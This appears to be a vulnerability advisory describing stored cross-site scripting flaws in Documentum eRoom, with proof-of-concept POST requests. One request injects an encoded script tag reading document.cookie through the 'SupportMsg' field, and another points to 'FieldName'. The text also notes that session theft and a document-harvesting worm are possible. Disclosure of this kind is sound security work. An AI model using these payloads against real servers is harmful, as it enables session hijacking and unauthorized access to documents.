Vulnerability overview/description:


Documentum eRoom suffers from multiple permanent cross-site scripting vulnerabilities, which allow an attacker to steal other user's sessions, to impersonate other users and to gain unauthorized access to documents hosted in eRooms. A JavaScript worm could be utilized to crawl an eRoom and gather all available documents.

There are many parameters which are not properly sanitized and thus are vulnerable to XSS.

Proof of concept:


1) When creating a new database, the parameter used for the database fields ("SupportMsg") is not properly validated and is thus prone to permanent cross-site scripting.

Request: POST /eRoomASP/eRoomSubmit.asp?FormName=sDlgGeneral&Ctxt=S_1&IsERPage=TRUE&ERClickInMap=FALSE&command=btnOK&SessionKey=ZQCH5DHHZLLV6 HTTP/1.1 Host: localhost

IEDummyField=bugfix+29315&SubmitChecker=set&HasRichText=false&SessionKey=ZQCH5DHHZLLV6&ERWindowName=eRw1342094805&EditSiteName=SEC&IEUsersWorkOffline=on&AllowExtAppCommands=on&EnableWebDav=on&UseSecureCookies=on&ExpireSession=60&AlertAdminsObjectCount=on&PercentageObjectLimit=80&MembersChoosePluginOption=on&EnableFileBlocking=on&BlockedFileExtensions=accda%0D%0Aaccdb%0D%0Aaccde%0D%0Aasa%0D%0Aasp%0D%0Aaspx%0D%0Abat%0D%0Achm%0D%0Aclass%0D%0Acmd%0D%0Acom%0D%0Acpl%0D%0Acrt%0D%0Adll%0D%0Aexe%0D%0Ahlp%0D%0Ahta%0D%0Ahtm%0D%0Ahtml%0D%0Ahtw%0D%0Ahtx%0D%0Ains%0D%0Aisp%0D%0Ajs%0D%0Ajse%0D%0Alnk%0D%0Amda%0D%0Amdb%0D%0Amde%0D%0Amdt%0D%0Amdw%0D%0Amdz%0D%0Amht%0D%0Amhtml%0D%0Amsp%0D%0Aocx%0D%0Areg%0D%0Ascr%0D%0Asct%0D%0Ashb%0D%0Ashs%0D%0Aurl%0D%0Avbe%0D%0Avbs%0D%0Awsc%0D%0Awsh&OverrideURL=asd&SupportMsg=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&OtherInfoString=asd&PaginationThreshold=500&LMLThreshold=500&HMLThreshold=5000&RolodexTabs=A%3BB%3BC%3BD%3BE%3BF%3BG%3BH%3BI%3BJ%3BK%3BL%3B M%3BN%3BO%3BP%3BQ%3BR% 3BS%3BT%3BU%3BV%3BW%3BX%3BY%3BZ

2) The parameter "FieldName" is not properly validated and is thus prone to permanent cross-site scripting. A malicious payload will be executed when the asp script "ErrLoadingPage.asp" is called.

Request: POST /eRoomASP/eRoomSubmit.asp?FormName=sDlgCreateDBField&Ctxt=.test.imgsrcxonerroralert33.0_b97&ERClickInMap=FALSE&command=btnNext&SessionKey=N377T7XGBMJOO HTTP/1.1 Host: localhost
